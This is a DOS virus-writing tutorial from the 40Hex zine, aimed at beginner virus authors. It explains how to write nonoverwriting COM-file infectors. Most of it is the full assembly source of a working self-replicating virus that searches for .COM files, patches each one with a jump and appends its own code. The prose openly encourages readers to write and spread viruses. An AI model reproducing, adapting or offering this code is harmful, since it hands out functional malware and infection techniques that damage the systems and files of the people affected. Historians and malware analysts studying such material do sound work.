An Introduction to Nonoverwriting Virii
[By Dark Angel]

      It seems that there are quite a few virus writers out there who just sit at
      home and churn out hacks of virii.  Yay.  Anybody with a disassembler and
      some free time can churn out dozens of undetectable (unscannable) variants
      of any given virus in an hour.  Others have not progressed beyond the
      overwriting virus, the type of virus with the most limited potential for
      spreading.  Still others have never written a virus before and would like
      to learn.  This article is designed as a simple introduction to all
      interested to the world of nonoverwriting virii.  All that is assumed is a
      working knowledge of 80x86 assembly language.

      Only the infection of COM files will be treated in this article, since the
      infection routine is, I think, easier to understand and certainly easier to
      code than that of EXE files.  But do not dispair!  EXE infections will be
      covered in the next issue of 40Hex.

      COM files are described by IBM and Microsoft as "memory image files."
      Basically, when a COM file is run, the file is loaded as is into memory.
      No translation or interpretation of any sort takes place.  The following
      steps occur when a COM file is run:

        1) A PSP is built.
        2) The file is loaded directly above the PSP.
        3) The program is run starting from the beginning.

      The PSP is a 256 byte header storing such vital data as the command line
      parametres used to call the program.  The file is located starting at
      offset 100h of the segment where the program is loaded.  Due to the 64K
      limit on segment length, COM files may only be a maximum of 64K-100h bytes
      long, or 65280 bytes.  If you infect a COM file, make sure the final size
      is below this amount or the PSP will get corrupted.

      Since the beginning of the file is at offset 100h in the segment (this is
      the reason for the org 100h at the start of assembly source for com files),
      the initial IP is set to 100h.  The key to understanding nonoverwriting COM
      virii is to remember that once the program is loaded into memory, it can be
      changed at will without affecting the actual file on disk.

      The strategy of an overwriting virus is to write the virus to the beginning
      of the COM file.  This, of course, utterly annihilates the original program.
      This, of course, is lame.  The nonoverwriting virus changes only the first
      few bytes and tacks the virus onto the end of the executable.  The new
      bytes at the beginning of the file cause the program, once loaded, to jump
      to the virus code.  After the virus is done executing, the original first
      few bytes are rewritten to the area starting at 100h and a jmp instruction
      is executed to that location (100h).  The infected program is none the
      worse for the wear and will run without error.

      The trick is to find the correct bytes to add to the beginning of the file.
      The most common method is to use a JMP instruction followed by a two byte
      displacement.  Since these three bytes replace three bytes of the original
      program, it is important to save these bytes upon infection.  The JMP is
      encoded with a byte of 0e9h and the displacement is simply the old file
      length minus three.

      To replace the old bytes, simply use code similar to the following:
        mov di, 100h
        mov si, offset saved_bytes
        movsw
        movsb

      And to return control to the original program, use the following:
        mov di, 100h
        jmp di

      or any equivalent statements.

      When writing nonoverwriting virii, it is important to understand that the
      variables used in the code will not be in their original locations.  Since
      virii are added to the end of the file, you must take the filesize into
      account when calculating offsets.  The standard procedure is to use the
      short combination of statements:

        call oldtrick
      oldtrick:
        pop  bp                           ; bp = current IP
        sub  bp, offset oldtrick          ; subtract from original offset

      After these statements have been executed, bp will hold the difference in
      the new offsets of the variables from the original.  To account for the
      difference, make the following substitutions in the viral code:

        lea dx, [bp+offset variable]
      instead of
        mov dx, offset variable

      and

        mov dx, word ptr [bp+offset variable]
      instead of
        mov dx, word ptr variable

      Alternatively, if you want to save a few bytes and are willing to suffer
      some headaches, leave out the sub bp, offset oldtrick and calculate all
      offsets as per the procedure above EXCEPT you must now also subtract offset
      oldtrick from each of the offsets.

      The following is a short nonoverwriting virus which will hopefully help in
      your understanding of the techniques explained above.  It's sort of cheesy,
      since I designed it to be small and easily understandable.  In addition to
      being inefficient (in terms of size), it fails to preserve file date/time
      and will not infect read-only files.  However, it serves its purpose well
      as a teaching aid.

      --------Tear line----------------------------------------------------------

      DumbVirus segment
      Assume    CS:DumbVirus
      Org 100h                 ; account for PSP

      ; Dumb Virus - 40Hex demo virus
      ; Assemble with TASM /m2

      Start:  db      0e9h     ; jmp duh
              dw      0

      ; This is where the virus starts
      duh:    call    next
      next:   pop     bp                   ; bp holds current location
              sub     bp, offset next      ; calculate net change

      ; Restore the original first three bytes
              lea     si, [bp+offset stuff]
              mov     di, 100h
      ; Put 100h on the stack for the retn later
      ; This will allow for the return to the beginning of the file
              push    di
              movsw
              movsb

      ; Change DTA from default (otherwise Findfirst/next will destroy
      ; commandline parametres
              lea     dx, [bp+offset dta]
              call    set_dta

              mov     ah, 4eh           ; Find first
              lea     dx, [bp+masker]   ; search for '*.COM',0
              xor     cx, cx            ; attribute mask - this is unnecessary
      tryanother:
              int     21h
              jc      quit              ; Quit on error

      ; Open file for read/write
      ; Note: This fails on read-only files
              mov     ax, 3D02h
              lea     dx, [bp+offset dta+30] ; File name is located in DTA
              int     21h
              xchg    ax, bx

      ; Read in the first three bytes
              mov     ah, 3fh
              lea     dx, [bp+stuff]
              mov     cx, 3
              int     21h

      ; Check for previous infection
              mov     ax, word ptr [bp+dta+26]       ; ax = filesize
              mov     cx, word ptr [bp+stuff+1]      ; jmp location
              add     cx, eov - duh + 3              ; convert to filesize
              cmp     ax, cx                         ; if same, already infected
              jz      close                          ; so quit out of here

      ; Calculate the offset of the jmp
              sub     ax, 3                          ; ax = filesize - 3
              mov     word ptr [bp+writebuffer], ax

      ; Go to the beginning of the file
              xor     al, al
              call    f_ptr

      ; Write the three bytes
              mov     ah, 40h
              mov     cx, 3
              lea     dx, [bp+e9]
              int     21h

      ; Go to the end of the file
              mov     al, 2
              call    f_ptr

      ; And write the rest of the virus
              mov     ah, 40h
              mov     cx, eov - duh
              lea     dx, [bp+duh]
              int     21h

      close:
              mov     ah, 3eh
              int     21h

      ; Try infecting another file
              mov     ah, 4fh                        ; Find next
              jmp     short tryanother

      ; Restore the DTA and return control to the original program
      quit:   mov     dx, 80h                        ; Restore current DTA to
                                                     ; the default @ PSP:80h
      set_dta:
              mov     ah, 1ah                        ; Set disk transfer address
              int     21h
              retn
      f_ptr:  mov     ah, 42h
              xor     cx, cx
              cwd                                    ; equivalent to: xor dx, dx
              int     21h
              retn

      masker  db      '*.com',0
      ; Original three bytes of the infected file
      ; Currently holds a INT 20h instruction and a null byte
      stuff   db      0cdh, 20h, 0
      e9      db      0e9h
      eov equ $                                      ; End of the virus
      ; The following variables are stored in the heap space (the area between
      ; the stack and the code) and are not part of the virus that is written
      ; to files.
      writebuffer dw  ?                              ; Scratch area holding the
                                                     ; JMP offset
      dta         db 42 dup (?)
      DumbVirus    ENDS
                   END     Start

      ---------------------------------------------------------------------------

      Do not worry if not everything makes sense to you just yet.  I tried to
      keep the example virus as simple as possible, although, admittedly, the
      explanations were a bit cryptic.  It should all come to you in time.

      For a more complete discussion of nonoverwriting virii, pick up a copy of
      each of the first three parts of my virus writing guide (the phunky, the
      chunky, and the crunchy), where you may find a thorough tutorial on
      nonresident virii suitable for any beginning virus programmer.